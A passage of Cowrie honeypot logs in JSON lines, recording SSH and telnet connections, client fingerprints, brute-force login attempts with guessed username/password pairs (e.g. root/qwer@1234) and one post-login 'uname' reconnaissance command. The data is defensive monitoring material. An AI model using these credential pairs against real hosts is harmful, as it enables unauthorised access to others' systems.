-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:41.050684Z","src_ip":"138.128.241.222","session":"1ab4d0427132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"metamaskwallet","password":"metamaskwallet2018","message":"login attempt [metamaskwallet/metamaskwallet2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:41.064817Z","src_ip":"138.128.241.222","session":"1ab4d0427132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":50166,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8493934fb63","protocol":"ssh","message":"New connection: 20.244.95.173:50166 (10.17.0.5:22) [session: d8493934fb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:41.246001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:41.251133Z","src_ip":"20.244.95.173","session":"d8493934fb63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:41.468611Z","src_ip":"20.244.95.173","session":"d8493934fb63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fear","password":"fear2017!","message":"login attempt [fear/fear2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:41.906999Z","src_ip":"20.244.95.173","session":"d8493934fb63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:42.072578Z","src_ip":"138.128.241.222","session":"1ab4d0427132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:43.127025Z","src_ip":"20.244.95.173","session":"d8493934fb63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.203.201.155","src_port":55706,"dst_ip":"10.17.0.5","dst_port":23,"session":"c599b766055d","protocol":"telnet","message":"New connection: 128.203.201.155:55706 (10.17.0.5:23) [session: c599b766055d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:43.864730Z"}
{"eventid":"cowrie.session.closed","duration":10.039185762405396,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:53.903805Z","src_ip":"128.203.201.155","session":"c599b766055d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.203.201.155","src_port":41342,"dst_ip":"10.17.0.5","dst_port":23,"session":"20a3bdfeb0f3","protocol":"telnet","message":"New connection: 128.203.201.155:41342 (10.17.0.5:23) [session: 20a3bdfeb0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:53.936069Z"}
{"eventid":"cowrie.session.closed","duration":0.04710984230041504,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:53.983053Z","src_ip":"128.203.201.155","session":"20a3bdfeb0f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":49766,"dst_ip":"159.203.135.109","dst_port":22,"session":"37c2368d4723","protocol":"ssh","message":"New connection: 20.244.95.173:49766 (159.203.135.109:22) [session: 37c2368d4723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:02.769329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:02.774356Z","src_ip":"20.244.95.173","session":"37c2368d4723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:02.986137Z","src_ip":"20.244.95.173","session":"37c2368d4723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fear","password":"fear2017!","message":"login attempt [fear/fear2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:03.414268Z","src_ip":"20.244.95.173","session":"37c2368d4723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:04.627088Z","src_ip":"20.244.95.173","session":"37c2368d4723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":40464,"dst_ip":"10.17.0.5","dst_port":22,"session":"144055adc8fd","protocol":"ssh","message":"New connection: 5.75.137.141:40464 (10.17.0.5:22) [session: 144055adc8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:26.742345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:26.746513Z","src_ip":"5.75.137.141","session":"144055adc8fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:26.834073Z","src_ip":"5.75.137.141","session":"144055adc8fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ada","password":"ada","message":"login attempt [ada/ada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:27.012533Z","src_ip":"5.75.137.141","session":"144055adc8fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:41:28.102368Z","src_ip":"5.75.137.141","session":"144055adc8fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50916,"dst_ip":"159.203.135.109","dst_port":22,"session":"f68f2be3c510","protocol":"ssh","message":"New connection: 162.120.6.20:50916 (159.203.135.109:22) [session: f68f2be3c510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:47.773935Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:47.845616Z","src_ip":"162.120.6.20","session":"f68f2be3c510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50932,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5a7b7beb8c5","protocol":"ssh","message":"New connection: 162.120.6.20:50932 (159.203.135.109:22) [session: b5a7b7beb8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:47.907961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:47.912477Z","src_ip":"162.120.6.20","session":"b5a7b7beb8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:47.980312Z","src_ip":"162.120.6.20","session":"b5a7b7beb8c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwer@1234","message":"login attempt [root/qwer@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:48.182557Z","src_ip":"162.120.6.20","session":"b5a7b7beb8c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:48.352126Z","src_ip":"162.120.6.20","session":"b5a7b7beb8c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:48.355460Z","src_ip":"162.120.6.20","session":"b5a7b7beb8c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:48.426722Z","src_ip":"162.120.6.20","session":"b5a7b7beb8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:48.431037Z","src_ip":"162.120.6.20","session":"b5a7b7beb8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":63164,"dst_ip":"10.17.0.5","dst_port":22,"session":"112aa811ce68","protocol":"ssh","message":"New connection: 185.156.73.233:63164 (10.17.0.5:22) [session: 112aa811ce68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:55.681475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:56.274626Z","src_ip":"185.156.73.233","session":"112aa811ce68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:56.351262Z","src_ip":"185.156.73.233","session":"112aa811ce68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"live","message":"login attempt [user/live] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:56.970473Z","src_ip":"185.156.73.233","session":"112aa811ce68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:43:58.058048Z","src_ip":"185.156.73.233","session":"112aa811ce68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":38412,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ad3e520a16b","protocol":"ssh","message":"New connection: 159.65.30.211:38412 (159.203.135.109:22) [session: 7ad3e520a16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:03.987338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:03.992352Z","src_ip":"159.65.30.211","session":"7ad3e520a16b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:04.066586Z","src_ip":"159.65.30.211","session":"7ad3e520a16b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"safe","password":"safe2017!","message":"login attempt [safe/safe2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:04.218105Z","src_ip":"159.65.30.211","session":"7ad3e520a16b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:05.294655Z","src_ip":"159.65.30.211","session":"7ad3e520a16b","protocol":"ssh"}
